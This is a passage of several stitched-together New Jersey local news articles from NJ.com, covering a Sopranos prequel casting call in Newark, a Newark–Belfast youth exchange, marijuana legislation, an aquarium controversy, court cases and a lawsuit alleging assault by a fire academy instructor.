snaked upstairs around the buildings atrium, movie-extra hopefuls learned that organizers were also casting extras for the HBO limited series The Plot Against America, based on the 2004 Philip Roth novel, along with Steven Spielbergs upcoming remake of West Side Story" starring Clifton teen Rachel Zegler as Maria. Kenneth Gifford, director of the Newark Office of Film and Television, who oversaw the casting call, has attributed the current boom in film production to the restoration of New Jerseys film tax credit program and Mayor Ras Barakas push to draw more films to Newark. Earlier this month, The Plot Against America, produced by David Simon and Ed Burns (The Wire) transformed Commerce Street into a scene from the 1940s, with classic cars and retro store facades, also filming in the National Newark Building. The show, which features a cast including Winona Ryder, Zoe Kazan and John Turturro, also filmed at Temple Beth-El on Kennedy Boulevard in Jersey City. Roths story presents an alternate history in which Nazi sympathizer Charles Lindbergh wins the 1940 election instead of Franklin Roosevelt. As they anticipated their turn in the spotlight, Newark residents past and present reflected on the 1967 of Many Saints of Newark. Some were children during the riots, while others were born decades later. Many didn't mind waiting hours so they could be considered for a small piece of "The Many Saints of Newark."Steve Hockstein | For NJ Advance Media John Hudak, 74, arrived with a story from that very year, when he was 22 and in the National Guard. They called us to active duty and I was actually standing on Springfield Avenue getting rocks and bottles thrown at me with a rifle with no ammunition, he said. Hudak, who nows lives in Hackensack, said he was interested in trying out for the film because he lived in Newark for so many years. He seemed slightly miffed that organizers only wanted to take his photo. I have a ton of knowledge that they dont know about, Hudak said. Im an encyclopedia on the 60s of Newark." Hearing that the show was going to film on Branford Place, he recalled that his mother used to work at Joes Luncheonette on the street and proceeded to rattle off the names of various mens clothing stores on the street where the wiseguys would buy their duds. He pointed out that he had some close ties to the kind of men depicted in The Sopranos. Im not bragging about this, but two of my uncles back in the day were actually made men in the Mafia," he said. "The real Mafia. Marilyn Hromoko, 62, who works in school operations at Barringer High School, has lived in Newark her whole life. She used to love spotting Bloomfield Avenue, Livingston and West Orange in the show. She called the 1967 setting for the film a double-edged sword," since she was a child during the riots. She came to the audition thinking her husband, Richard Hromoko, 68, would be a good fit for a Sopranos type. Maybe its the deep voice, he said. I also look Italian, Hromoko said, even though hes Russian and Polish. Another Many Saints of Newark hopeful, Dazhai Brown, 21, is minoring in performing arts at Essex County College. The Newark resident grew up watching her uncle watch The Sopranos. Her grandmother grew up during the time of the riots. Brown said she would be grateful to see what that was like if shes selected for any scenes depicting the unrest. Im sure its going to be difficult for her to watch, knowing thats what she had to grow up in, Brown said. I want to know what happened in my city, as a resident of Newark, so it would be great to be a part of the movie. Even if I dont get in it, Im excited to watch it in my city." While a good portion of people at the casting call were "Sopranos" diehards, others had just started to dive into the series or had yet to watch.Steve Hockstein | For NJ Advance Media Renee Williams, who was born a year after the riots, jumped at the chance to throw her name into the ring for the film after her daughter sent her the casting announcement. Williams, vice principal at Newarks Belmont Runyon School, earned her bachelors degree in television production and is excited to get back into film for her 51st birthday. Theres hundreds of people here from literally all walks of life, but all with one common goal: to celebrate the city of Newark, which is growing and just doing some great things," Williams said. It helps that shes a huge Tony Soprano fan He was very real and very raw, you could really relate to him, she said. Though The Sopranos bowed out on HBO in 2007 with an infamous cut to black, some of those attending the casting call were only just getting into the series, or had yet to discover it. Ive never really heard of it, honestly, said Athar-Ali Saleem, 19, of East Orange, who had been waiting an hour and a half to get himself in the running for some screen time. He said he was just happy for a chance to dip a toe into acting. Kevin Greene, 28, of Little Ferry, grew up a few minutes away from Satin Dolls, the Lodi go-go bar used as the Bada Bing, a home away from home for Tony Soprano in the HBO series. He said there was probably not much of a chance that hed be chosen as an extra, since hed heard that only 200 people were going to be plucked from several thousand. I actually just started watching the show, Im only on the first season," he said, fleeing the scene when his friends veered into spoiler territory. While some naysayers have panned the idea of extending the Sopranos narrative beyond its original run, Charles Leenstra of Wayne is completely invested in the idea. TV is like king now," said Leenstra, 29. "I honestly think thats a great idea because it was the best show on TV. Have a tip? Amy Kuperinsky may be reached at akuperinsky@njadvancemedia.com. Follow her on Twitter @AmyKup or on Facebook. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. African-American youth from a Newark public high school thought a cultural enrichment trip to Northern Ireland was going to be a bad experience in December. They assumed white kids, ages 15 to 19, from Belfast would not understand racial issues they face in America. Were not going to be able to relate to these guys," said Zachery Halley, a 19-year-old at Eagle Academy for Young Men. Theyre not going to understand our struggle." But then they saw a mural of African-American civil rights leaders. There was Frederick Douglass, Rev. Martin Luther King Jr., Harriet Tubman and so on. Their images were on a peace wall that has divided Catholic and Protestant communities in Belfast based on religion for the last 50 years. To the surprise of Newark students, this group of Belfast youth identify with these historical figures, looking to them as examples of how to challenge oppression and the religious discrimination they face. They look toward Newark, too, and are encouraged by how the city emerged from the 1967 riots, a civil disturbance fueled by racial discrimination, poor housing conditions and unemployment. Discussion of that reality continued Wednesday, this time in Newark with 15 Belfast teens visiting for a week with the 10 Eagle Academy students who met them in December. We wanted to go over here to Newark to see the possibilities," said Brandon Donaghy, 19, who is a Catholic from Belfast. We want the young people (in Belfast) to see that Protestants and Catholics can come together. Our differences are just religion and nothing else." They are part of a Global Ambassadors program created three years ago to unite Protestant and Catholic young people who live in Belfasts poorest communities - Lower Shankill and Divis. Both are separated by a wall that is eight miles long and 18 feet high. It was erected during a conflict that started in 1968 from a campaign to end religious discrimination against the Catholic/nationalist minority by the Protestant/unionist government and police force. Students from Belfast, Ireland and Eagle Academy for Eagle Academy for Young Men of Newark, gather in Newark to talk about violence in their communities at the Help Us Become Better Community Empowerment Center, better known as the HUBB in Newark. (Barry Carter | NJ Advance Media)Barry Carter | NJ Advance Media Stephen Hughes, a senior youth development officer of the ambassador program, said Catholics had their own rebellion, much like Newark and urban cities across America. Yours was race-related riots; ours was sectarian," he said Catholics couldnt vote or own property, but they studied how King fought for civil rights and how Newark rose from its tumultuous period in history. While you had your rebellion, we were watching back home," Hughes said. Thats why were in Newark, because Newark led the way. We want to learn from Newark." That idea resonated with the New Jersey kids. Theyre actually looking at us for solutions to their problems, while were still figuring out how were going to fix our problems, said Joshua McLean, 17, of Eagle Academy. The Eagle Academy kids learned about the sectarian discrimination before traveling to Belfast, but it didnt register until they were there. Why is everybody so separate?" asked Ajani Carter, 17, recalling the segregation and the wall. They were dealing with discrimination, but it was off of religion." Mark Hawthorne, an 18-year-old Protestant from Belfast, said he was nervous at first about participating in the ambassador program that would bring him together with Catholics. But I built a friendship and we made a video of it," Hawthorne said. Through dialogue, the Newark and Belfast teens have more in common with each other regardless of race and religion. Both come from neighborhoods struggling with education, crime, gang violence, and conflicts with police. Socially, the musical taste is the same. They listen to rap artists like J. Cole and Drake, and the late Nispey Hussle, Tupac and Notorious B.I.G. The international union between Newark and Belfast has been eight years in the making. Hughes said he visited Newark in 2011 with youth workers we call them social workers to look at education in Newark. He met Thomas Owens, who is the director of corporate and community partnerships for Eagle Academy. Both men struck up a friendship that continued a year later when Eagle Academy opened. They had a lot in common, too, and that is empowering young people with life experiences. This has been closest to my heart," Owens said. Eagle Academy is changing the educational attainment for young men of colorthat to me was something I had an affinity, Hughes said. Eagle applied for a grant to make the trip happen last December. The Belfast kids are here now until Sunday. On Wednesday, they talked about violence and solutions at the Help Us Become Better Community Empowerment Center, better known as the HUBB, in Newark. Back home in Belfast, Hughes said the wall is still there even though there is very little conflict since the 1998 peace treaty to end the war. We cant take the wall away physically, but we can take the wall away in peoples heads through relationship and friendship." In that circle, they can count on Newark, too. Read More Barry Carter may be reached at bcarter@njadvancemedia.com. Follow him on Twitter@BarryCarterSL. Find NJ.com on Facebook. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. The cause of the three-alarm fire at a Jersey City scrap metal facility, which sent thick black smoke billowing into the air Thursday, remains under investigation, officials said Friday Jersey City spokeswoman Kimberly Wallace-Scalcione said a fire official will return to Sims Metal Management to survey the area following Thursdays blaze, which produced enough smoke that could be seen from miles away. The fire was first reported at 4:21 p.m. and took two hours for about 70 firefighters to put under control, Wallace-Scalcione said. Marine units from the New York Fire Department, North Hudson Regional Fire and Rescue, and Bayonne assisted in those efforts. Located on the banks of the upper New York Bay near the foot of Linden Avenue East, the facility is one of dozens of Sims Metal Management complexes across the country. Thursdays incident is at least the fifth fire at the scrap yard since 2010. Firefighters responded to the facility in May 2016 when an early morning fire broke out there. In January 2013, a large pile of scrap metal caught fire, sending massive flames and plumes of smoke into the night sky. At the time, Jersey City Mayor Steve Fulop blasted the company for trying to extinguish the flames themselves, a claim the company denied. Wallace-Scalcione said Sims has not been issued an violations in connection to Thursdays fire. On Friday, a spokeswoman for the company said no one was injured in most recent blaze and that no damage was reported to the property. We were not able to determine the cause of the fire, but we rely on our processes and protocols, such as limiting the size and height of the scrap piles, to ensure that we are mitigating the risks of these incidents occurring in the future, Real Hamilton-Romeo, a spokeswoman for the company, said in a statement. A former Jersey City firefighter convicted of selling heroin in Massachusetts was sentenced Thursday to five years in federal prison. Carlos Jimenez, 52, of Englishtown, will also be subject to four years of supervised release after completing his stint in prison, the U.S. Attorneys Office for the District of Massachusetts said. Jimenezs associate, Ivan Cruz-Rivera, 50, of Dorado, Puerto Rico, was sentenced earlier this week to six years in two months in federal prison. Jimenez was previously convicted of two counts of heroin distribution following a 12-day trial. He and Cruz-Rivera had been targets of the investigation since January 2011 when an informant began working with police and purchasing heroin from Jimenez. The charges stemmed from an incident in October 2013, when the two met with the cooperating witness and provided a cardboard box containing heroin in exchange for $7,500. A Massachusetts state trooper followed their car after the drug deal and pulled them over after they committed a traffic violation. A search found a bag that troopers said contained bundles of money totaling $44,000, as well as three cell phones, including one in the bag with the money. A firefighter in Jersey City for more than 20 years, Jimenez worked for Engine 17 on Kearney Avenue. He was suspended without pay from his $111,300 a year job following his arrest. Jiminez was later fired and his pension was revoked. Corey W. McDonald of the Jersey Journal contributed to this report. Jeff Goldman may be reached at jeff_goldman@njadvancemedia.com. Follow him on Twitter @JeffSGoldman. Find NJ.com on Facebook. Have a tip? Tell us. nj.com/tips Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. EDITORS NOTE: Entrepreneurs everywhere are eyeing the billion-dollar legal weed industry, an economic opportunity unrivaled in modern N.J. history. NJ Cannabis Insider features exclusive and premium weekly content geared toward those interested in the marijuana industry. View a sample issue. From the early days of marijuana legalization talk in New Jersey last year, the bill to make weed legal in the state has been joined at the hip with another bill to expand the states medical marijuana program. The idea has been that the broad support enjoyed by medical marijuana could help lawmakers pass legalization at the same time. But this could now change as the glue binding the two bills is showing its first signs of cracking. Three legislative sources told NJ Cannabis Insider that discussions have started on separating the medical and legalization bills and considering them separately. Two of those sources, who asked not to be identified because they hadnt been authorized to speak about the situation, said Plan A is still to pass the bills together. Lawmakers wanted to leverage the support of medical marijuana into the passage of adult-use cannabis. Unbinding the bills is a backup plan, they said. State Senate President Stephen Sweeney, D-Gloucester, said hes "still focused on getting adult-use passed. But since lawmakers havent been able to do that yet, other options have surfaced. After a vote last month on both legalization and medical marijuana expansion was cancelled because leaders couldnt muster enough votes, Gov. Phil Murphy said he would expand the states constrained medical marijuana program by himself if lawmakers couldnt do it soon. Murphys response was partly in reaction to criticism from medical marijuana advocates, who suggested that lawmakers and the governor were putting legalization above patients. Sweeney said last week that Murphys pledge to expand the medical marijuana program was hurting his efforts to swing votes in favor of legalization. Now, the Legislature is weighing the expansion of medical marijuana without legalization, even if it could hurt the chances of passing recreational cannabis later on. State Assemblyman Jamel Holley, D-Union, said he opposes the bills being considered separately because a medical marijuana expansion alone doesnt help people who have been negatively affected by marijuana prohibition. Some of the main goals of the legalization bill are to stop marijuana arrests and allow people to clear their old marijuana convictions. This proposal, which has been debated and negotiated for more than a year, must remain intact, Holley said in an email. If we start breaking up this bill, we are creating more disparity and more divisiveness, ensuring nothing productive will occur. Medical marijuana patients are just as important as people in our minority communities who have been affected by the so-called War on Drugs. The two bills have long been tied together because legislative leaders anticipated that the high level of support for medical marijuana could be used to convince on-the-fence lawmakers to vote yes for legalization. Some lawmakers fear that if the Legislature passes a medical marijuana expansion, there wont be an appetite for legalization and the social justice goals that are part of the effort. This is a question of equality, Holley said. We are supposed to be practical. We are supposed to be responsive. And we are supposed to be working toward a fairer New Jersey, right? But considering the bills together hasnt worked so far, and it has left lawmakers considering other options. If legalization isnt in the cards at this moment, then maximize what you can, said Hugh OBeirne, president of the New Jersey Cannabis Industry Association. But its a definite change from what weve been seeing. Legislators are still eyeing sometime in May to hold another legalization vote, but no specific date has been set. This story first appeared in NJ Cannabis Insider. NJ Advance Media staff writers Brent Johnson and Susan K. Livio contributed to this report. Payton Guion may be reached at PGuion@njadvancemedia.com. Follow him on Twitter @PaytonGuion. Have a tip? Tell us. nj.com/tips Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. A new aquarium is opening in New Jersey, but some controversy is following it from other locations throughout the country where it has faced allegations of mistreating animals. SeaQuest, which runs interactive aquariums in five other states, said it will open a site at Woodbridge Center Mall this fall. Its other sites are home to around 300 different species each, including stingrays, sharks, turtles, snakes, lizards and birds. It focuses on experiences with the animals -- visitors can pet some of them and can pay more for activities like snorkeling with stingrays. An exact date for the aquariums opening hasnt been announced yet, according to Elsa MacDonald, spokeswoman for SeaQuest. The company has faced some controversy in other areas of the country where it opened other aquariums, according to local news reports. The companys Littleton, Colorado site came under fire last year after it failed two Colorado Wildlife and State Agriculture inspections, which noted multiple backrooms where birds and animals were kept on unsealed concrete floors and areas where Macaws (a type of parrot) were tearing into drywall and kept in makeshift cages that were violating safety guidelines, according to Fox 31 Denver. In a separate report, Colorado animal welfare inspectors found that SeaQuest failed to request permits to import a two-toed Sloth and two capybaras (mammals native to South America) into the state, the station reported. At the time, SeaQuest said the occurred because they were initially unaware of Colorados regulations, which differed from other states. MacDonald said the company is working with officials to meet state regulations at all of its sites. In 2017, a former employee at the companys Las Vegas location alleged that hundreds of animals died over the course of six months. Birds were underfed by the direct order of corporate management to encourage them to interact with guests more, Chris Stansell, the former employee, told NJ Advance Media. He also claimed the company hired undertrained staff. An octopus died because employees unplugged a cooling device that led to the animal slowly cooking to death in its own tank, he said. MacDonald told NJ Advance Media that death counts include even tiny animals and fish. At the time of the allegations, CEO Vince Covino said Stansell was a disgruntled employee who quit after he was passed up for a promotion, according to the Las Vegas Review-Journal. If you work at an aquarium for a year and you dont see deaths, then your eyes arent open, Covino told the Review-Journal. Animals die in nature as well as inside aquariums. This doesnt indicate that it was a preventable death. PETA has condemned malls for hosting SeaQuest locations, citing instances of alleged animal neglect on its website. The company is eyeing an additional location in Lynchburg, Virginia, but some residents there are protesting its arrival, noting the past incidents. However, MacDonald said SeaQuest takes safety seriously at all its locations, including the one planned in New Jersey. Each site has vet supervision, a team of biology and zoology experts and follows strict standard operating procedures and processes, she said. We are working with city, county, and state agencies at each of our facilities to ensure that all regulations are met, she said. SeaQuest sites are not accredited by the Association of Zoos and Aquariums, a voluntary accreditation, but the Woodbridge site will still have to obtain a USDA exhibitor permit and pass an Animal and Plant Health Inspection. SeaQuest will be a fun addition to our shopping center and the response thus far from our community has been positive and filled with excitement, Woodbridge Center spokeswoman, Lindsay Kahn said, adding that the mall doesnt comment on tenants operations. However, we can tell you that tenants are required to abide by all applicable laws at all times. In addition to the upcoming New Jersey and Virginia locations, the company also plans to open sites in Westfield Trumbull, Connecticut, Roseville, Minnesota, and Fort Lauderdale, Florida, according to its website. Cassidy Grom may be reached at cgrom@njadvancemedia.com Follow her at @cassidygrom. Have a tip? Tell us. nj.com/tips. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. Editors Note: This story has been updated with comments from the Mountain Lakes League of Women Voters A civics engagement workshop aimed at encouraging young women to run for political office was canceled because it violated school policies requiring on-campus events to be inclusive to all. The Mountain Lakes League of Women Voters was set to host its seventh Running and Winning Workshop at Mountain Lakes High School Friday. After weeks of debate, the event was canceled the night before due to concerns that it violated a district policy saying programs should be created for all students, according to interim Mountain Lakes High School Principal Frank Sanchez. The Running and Leading Workshop is hosted by LWV chapters around the country. It invites high school girls to a day of lectures by female public officials and politicians from all levels of government and all party affiliations. Running & Winning specifically aims to address womens under-representation in political leadership positions by encouraging high school girls to consider running for office or a career as a political operative. Students spend the day being mentored and encouraged by female elected officials and women in various political leadership roles who can speak to the obstacles women face when running for office or working in politics, said Mountain Lakes League of Women Voters President Mary Joelsson. There were 18 women invited to participate in the workshop, and Congresswoman Mikie Sherrill was expected to be the keynote speaker. According to Sanchez, a resident first brought concerns about the event in February. He, the school board and the LWV tried to find a compromise in order to allow the program to continue. That consensus included inviting both male and female students, including a male speaker, and having a more central theme to promote civic engagement with our students, Sanchez said. Unfortunately, the compromise was not followed and I had to speak with our attorney for the best advice possible to ensure we were not violating state law nor board policy. That is why I let the League know that without the changes, we could no longer host the program at MLHS. A statement on the LWV website said the organization was sorry that the event had been canceled and thanked all of the women that had agreed to volunteer their time to attend the event. The League of Women Voters of Mountain Lakes altered the program at the request of the administration and welcomed high school boys to participate to learn about various career opportunities in politics. We worked in good faith with the school administration to try to satisfy all requests, but, while we made an attempt, the tight time constraints made it difficult to add an appropriate male speaker to an already packed agenda featuring impressive female political leaders, Joelsson said. Joelsson said the LWV was saddened by the administrations decision to cancel the event. And said the students who were planning on attending the workshop are the ones who have been hurt the most by the decision. Sanchez, who has helped organize the event in the past, said making the decision to cancel the workshop was truly the hardest decision I've had to make as principal. He is planning on inviting Sherrill back to the school and hopes she will be willing to visit and speak to students on a different day, Sanchez said. Sherrills office did not immediately respond to a request for comment. Parents took to social media Friday to complain about the abrupt cancellation. What a shame!!" one woman posted on Facebook, responding to an official announcement the event had been canceled. "The League worked to invite a fantastic lineup of women on both sides of the aisle who are doing really important work!! Truly an embarrassment to our community and school. Upon receiving notice that the workshop had been canceled, over a dozen high school students that had anticipated attending the program arrived at the school in order to try and salvage the event, Sanchez said. I was impressed that our students looked for another location for the event, and I was saddened to hear that by midnight, their plan fell through, he said. To be honest, this program is about getting involved and standing up for what one believes in. After last nights attempt, I believe our students are learning that lesson even without the workshop. Olivia Rizzo may be reached at orizzo@njadvancemedia.com. Follow her on Twitter @LivRizz. Find NJ.com on Facebook. Have a tip? Tell us. nj.com/tips. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. The 2000 murder of Rachel Siani and trial of her killer John Denofa fascinated folks from Philadelphia to Trenton for years. It generated countless headlines and wound its way to a true crime television show. It had all the necessary ingredients. She was a full-time community college student and part-time stripper at a gentlemans club in lower Bucks County, Pennsylvania. The 21-year-old who danced under the name Foxy Roxy was found dead on a secluded strip of land in Burlington County, New Jersey, underneath a New Jersey Turnpike bridge. He was married, lived in the tony suburb of Buckingham, in central Bucks County, and ran his familys magnetic sign business. The 35-year-old was also at regular at the club, Divas in Bristol, and spent so much time there he often stayed in a motel nearby. His wife was cool with it; she sometimes dropped him off or had breakfast with him and dancers the next morning. One night Denofa and Siani wound up in the motel together and he killed her authorities have never been clear exactly why and dropped her out of a motel window, put her into the bed of his pickup truck and heaved her a second time off the Turnpike bridge. Authorities found her blood at the motel and in his truck, as well as grainy video footage of the truck on the Turnpike, first driving to New Jersey, then back to Pennsylvania and it showed a motionless woman sprawled out in the back. It was Siani. John Denofa in a current New Jersey prison photo, and Rachel Siani in her 1996 Bensalem High School yearbook graduation photo.File photos Then Burlington County Prosecutor Robert Bernardi tried the case himself, winning a conviction in 2002. A judge sentenced Denofa to life a year later, with 30 years of parole ineligibility. For most of the past two decades Denofas been a resident of the New Jersey State prison system. Hes currently living in the state prison in Trenton and filing appeals. Many appeals. And earlier this week, Denofa won an incremental victory. An appeals court on Monday found that the trial courts denial of Denofas second quest for post-conviction relief, or PCR, did not examine an argument in his first PCR attempt. So theyre sending it back, or remanding it, so the trial court can review and explain. But its unlikely Denofa will be getting out of prison. The appeals court left two other portions of the current PCR decision by the trial court intact, and wrote, No new claims shall be presented or considered on remand. Denofa was briefly victorious on one appeal, years ago. An appeals court in 2005 agreed with his argument that a jury should decide the territorial jurisdiction, whether Siani died in New Jersey or Pennsylvania, and reversed his convictions. But the next year, the New Jersey Supreme Court reversed that decision, and kept him locked up. In 2013, Denofa filed a writ of habeas corpus petition in the federal court system, a legal maneuver in which a person argued they are being unlawfully detained or imprisoned. It was denied in 2017. By that time, Denofa noted in his filings, the two lawyers who originally represented him, John L. Call and Albert J. Cepparulo, had both been named judges in Burlington and Bucks counties, respectively. Denofa is now 54 and represented by the New Jersey Public Defenders Office. His first parole eligibility date is in August 2032. Kevin Shea may be reached at kshea@njadvancemedia.com. Follow him on Twitter@kevintshea. Find NJ.com on Facebook. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. The Trump administration said Thursday it is reevaluating its controversial plan to sharply expand offshore drilling as it responds to a court ruling that blocked oil and gas development off Alaska and parts of the Atlantic. Governors and lawmakers from both Republican- and Democratic-led states have strongly opposed the expanded drilling. And a federal judge last month ruled against President Donald Trump's executive order to open the Arctic and parts of the Atlantic to broader oil and gas development, saying Trump had exceeded his authority. Interior Secretary David Bernhardt told The Wall Street Journal on Thursday that the legal challenges may be "discombobulating" to the administration's overall drilling plans. Bernhardt says the administration may have to wait for the challenges to fully play out in court. Interior spokeswoman Molly Block said that given the court setback, the agency "is evaluating all of its options." The Interior Departments Bureau of Ocean Energy Management will carefully consider all public input received, including comments from governors of affected states, before making final decisions on expanded drilling off the countrys coasts, Block added. New Jersey Attorney General Gurbir S. Grewal applauded the decision. Ive said from day one that offshore drilling is bad law, bad policy, and bad for New Jersey. I am glad the Interior Department is finally listening and has agreed to indefinitely postpone drilling off New Jerseys coast. This is a huge win for the state, for our residents, and for our pristine coastline. This is why we go to court: to protect New Jerseys interests from the assault coming out of Washington. Today, we can breathe a sigh of relief. And here is my promise to the state: if the federal government tries to bring drilling to New Jerseys shore ever again, I will fight back just as hard a second time. Environmental groups welcomed what they said amounted to a delay in the administration's coastal drilling expansion plans. Collin O'Mara of the National Wildlife Federation said the administration "needs to go one step further and fully and permanently scrap its plan to open our coasts to unfettered offshore drilling." But Randall Luthi, head of the National Ocean Industries Association trade group, urged against a "hard stop" in administration planning on expanded offshore drilling. "What cannot be delayed ... is the importance of domestic production to meet the growing demand for affordable, reliable American energy," he said. The Trump administration announced a new five-year plan last year that would open up 90 percent of U.S. offshore reserves to development by private companies. Then-Interior Secretary Ryan Zinke said it would promote responsible energy development, boost jobs and pay for coastal conservation efforts. The plan calls for expanded drilling in the Arctic and off the Atlantic coast and would open up waters off California for the first time in more than three decades. Drilling would be allowed from Florida to Maine in areas that have been blocked for decades. Industry groups said the plan would encourage economic growth and create thousands of jobs, while environmental groups denounced the plan, saying it would cause severe harm to America's oceans, coastal economies, public health and marine life. The plan drew bipartisan criticism in Congress, as lawmakers in coastal states said oil drilling off the coast could put their economy, environment and marine life at risk. Governors from coastal states asked to be removed from the plan, but Interior officials said they were pressing forward even as they promised to take local concerns into consideration. Offshore drilling was a key factor as the Senate confirmed Bernhardt as interior chief this month. Florida Republican Sens. Marco Rubio and Rick Scott voted in favor of Bernhardt after receiving assurances from him and other administration officials that Florida would be excluded from drilling proposals. A moratorium on offshore drilling in Florida expires in 2022. Rubio said in a statement on the day of the vote that he is "confident that when all is said and done the ban on oil drilling off of Florida's coasts will remain in place." Bernhardt has declined to publicly rule out drilling off any state, including Florida. Speedways continued attempts to sell gas cheaper than its competitors was dealt another blow this week. The company has argued that an 80-year-old state law that regulates gas prices violated the companys civil rights and infringed on its right to sell its product. The 1938 law prohibits retailers from selling gasoline below the net cost of the fuel plus all selling expenses. Two complaints were filed against Speedway by the Middlesex County Department of Weights and Measures on Oct. 16, 2016, stating that the company violated the law for selling gasoline below cost at a Hopelawn station. In 2017, Speedway filed a complaint with the state Superior Court in Middlesex County, which later dismissed its claims, but then appealed the decision. Two appellate court judges upheld the lower courts ruling on Wednesday and said the law is a rational, necessary restraint on the market, and is in the public interest." The Legislature determined that selling gasoline at below cost would cause disorder in the marketplace, particularly as to smaller retailers whose survival depends upon operating at a profit, and who cannot sustain an extended price war, the judges said in their decision. Speedway also argued that the law used vague terms such as net cost" and expenses," but the appellate judges agreed that they are words of common usage and understanding, particularly for a sophisticated business entity such as Speedway." Speedway is the second largest chain of company-owned-and-operated convenience stores in the country and currently owns 70 of them in New Jersey which all have fueling stations. The news of judges decision comes on the heels of rising gas prices in New Jersey, which could reach $3 by Memorial Day, one expert told NJ Advance Media Thursday. Chris Sheldon may be reached at csheldon@njadvancemedia.com. Follow him on Twitter @chrisrsheldon Find NJ.com on Facebook. Have a tip? Tell us. nj.com/tips Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. A pit bull shot by police officer during an investigation a Lakewood halfway house on Wednesday is expected to be OK, authorities said. The aggressive dog ran toward the officer at Samaritan House, a sober living facility next to All Saints Episcopal Church on Madison Avenue, the Ocean County Prosecutors Office said in a statement. Officials said the Lakewood officer arrived around 5 p.m. to find a man wanted by Manchester police on charges of violating a restraining order and stalking. The dog belongs to a resident of the halfway house, authorities said. Emergency workers brought the wounded dog to a local veterinarian to be treated. The officer was not hurt. The diocese issued a statement to APP.com saying police didnt follow protocol, which is to notify church staff before serving a warrant. Jeff Goldman may be reached at jeff_goldman@njadvancemedia.com. Follow him on Twitter @JeffSGoldman. Find NJ.com on Facebook. Have a tip? Tell us. nj.com/tips Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. Authorities are investigating a threat made on Twitter against the mayor of an Ocean County town after he faced widespread backlash over his response to an anti-Semitic tweet without calling out its bigotry. Brick Township Mayor John Ducey apologized Wednesday after he replied to a tweet claiming the townships beaches are being invaded by Jews. @MayorDucey can we please do something about our parks and beaches. They are being invaded by the hasidic and orthodox jews and being ruined. Our tax paying residents are being forced out while politicians sit and do nothing, Twitter user @simms10471 sent to the mayor Tuesday. The Twitter account has since been deleted. But Duceys reply focused solely on security issues: Our parks security has started already. Just call police with any problems and they will send them out, he wrote from his official Twitter account. He uses the platform regularly to interact with constituents. Brick Township Mayor John Ducey came under fire Tuesday night after a popular journalist screenshotted the exchange he had with a constituent. (Screenshot) The Ocean County Prosecutors Office said Friday that it was investigating a threat against the mayor. The Brick Township Police Department and the FBI are also investigating. Authorities said the threat was made Thursday on Twitter, but did not elaborate on the specifics. The original Twitter exchange was picked up by national news outlets, and other users on the social media platform began calling on him to resign and calling the response anti-Semitic. In an interview with NJ Advance Media Wednesday, Ducey apologized for the confusion and said those who believed he was encouraging the user to call security on Jews at the beach had misunderstood his intent. I apologize to anyone who read the statement in the wrong way. It wasnt meant to be read that way, he said. The original tweet from the commenter was a disgusting, bigoted statement. My suggestions was what we would do with anyone if -- if -- there were any problems. People are misinterpreting it as me telling him to call park security. There was nothing to call about. Brick Township sits next to Lakewood, which is now one of the biggest municipalities in the state. The townships population has more than doubled since the 1980s, largely as the Orthodox Jewish community has grown to become one of the largest in the world. Ducey acknowledged an uptick in anti-Semitism appears to have become more common. Lakewoods Mayor Raymond Coles sent a letter to Ducey Thursday on the remarks, saying he wrote with dismay. I trust you did NOT mean that law abiding citizens of a particular faith would be ejected merely because of their religion. You and I both know that there is no place in America, New Jersey or Ocean County that will tolerate bigotry, racism or bias of any kind." Ducey did not immediately return a call seeking comment Friday afternoon. Amanda Hoover can be reached at ahoover@njadvancemedia.com. Follow her on Twitter @amandahoovernj. Find NJ.com on Facebook. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. A 26-year-old woman who became a volunteer firefighter after her home burned down filed a federal lawsuit Thursday claiming her instructor at the Ocean County Fire Academy bound, tortured and raped her in his home last year. The woman, identified in court papers by her initials, told investigators that her instructor, John Syers, lured her to his Lacey Township home on Sept. 26, 2018 under the guise of showing off his new house. Syers is listed as an instructor at the academy, according to the county government website. He is also a firefighter in Elizabeth, officials said. While Syers was showing (her) his bedroom, he proceeded to restrain, beat, burn, sexually assault and strangle (her) over the course of 46 minutes, despite her continuous pleas for him to stop, the womans attorney, Robert R. Fuggi Jr. said in a statement. Disorderly persons charges of simple assault and lewdness filed against Syers are pending in municipal court. The Ocean County Prosecutors Office has also acknowledged an ongoing investigating and the case could be transferred to Superior Court. The lawsuit names Syers, the Ocean County Fire Academy and county freeholders as defendants in a civil rights complaint. Syers said in a brief phone interview with NJ Advance Media on Friday that he was referring all questions to his attorney, Stephen McGuckin of Toms River. The attorney did not immediately return a call seeking comment. The woman is a volunteer with the Seaside Heights Volunteer Fire Department and was attending the academy for required training, according to Fuggi. The woman said she decided to become a firefighter after narrowly escaping a blaze that burned down her home in a Lavallette condominium complex in May 2017. She escaped the blaze through a window, according to court documents. After applying to the fire department, the woman attended training at the Ocean County Fire Academy in Waretown, according to the suit. In court papers, the woman said she and her instructor, Syers, dated briefly, but then broke up when he found another girlfriend. When that relationship ended, Syers then began texting and messaging the victim on social media, the suit states. On the day of the alleged assault, the woman said she and Syers shared a consensual kiss and when she pulled away and withdrew consent for sexual contact, he handcuffed her hands behind her back and pinned her to his bed. Syers said he was punishing her for making him wait and referring to occasions where she didnt show up for dates, the suit states. "Using the rope skills he honed as a fire academy instructor, (Syers tied the victims) arms, neck and legs to the bed with rope, Fuggi said. The suit states Syers tore the womans clothes off, struck her several times, blindfolded her and ripped out some of her hair before sexually assaulting her repeatedly. He strangled her until she was unconscious and then poured a substance on her leaving large burn marks, the suit states. The suit also states that Syers snapped several cellphone photos of the woman as she lay restrained on his bed. Fuggi said when the assault began, the woman noted the time according to a clock in the room was 10 a.m. When the woman regained consciousness, the time was 10:46 a.m., Fuggi said. After the alleged assault, the victim was able to free herself from the handcuffs and rope while Syers was in the bathroom, the attorney said. The woman quickly dressed, refusing Syers offers for her to shower at his house, the suit states. Syers offered the woman a few insincere apologies before letting her out of the house, her attorney said in the suit. The woman called a friend and tried to explain what happened, but couldnt because she was too distraught, the suit states. The next morning, the woman went to Community Medical Center in Toms River and was given a rape test, antibiotics and an emergency contraceptive to prevent pregnancy, according to court documents. An investigator from the Ocean County Prosecutors Office interviewed the woman at the hospital and she also 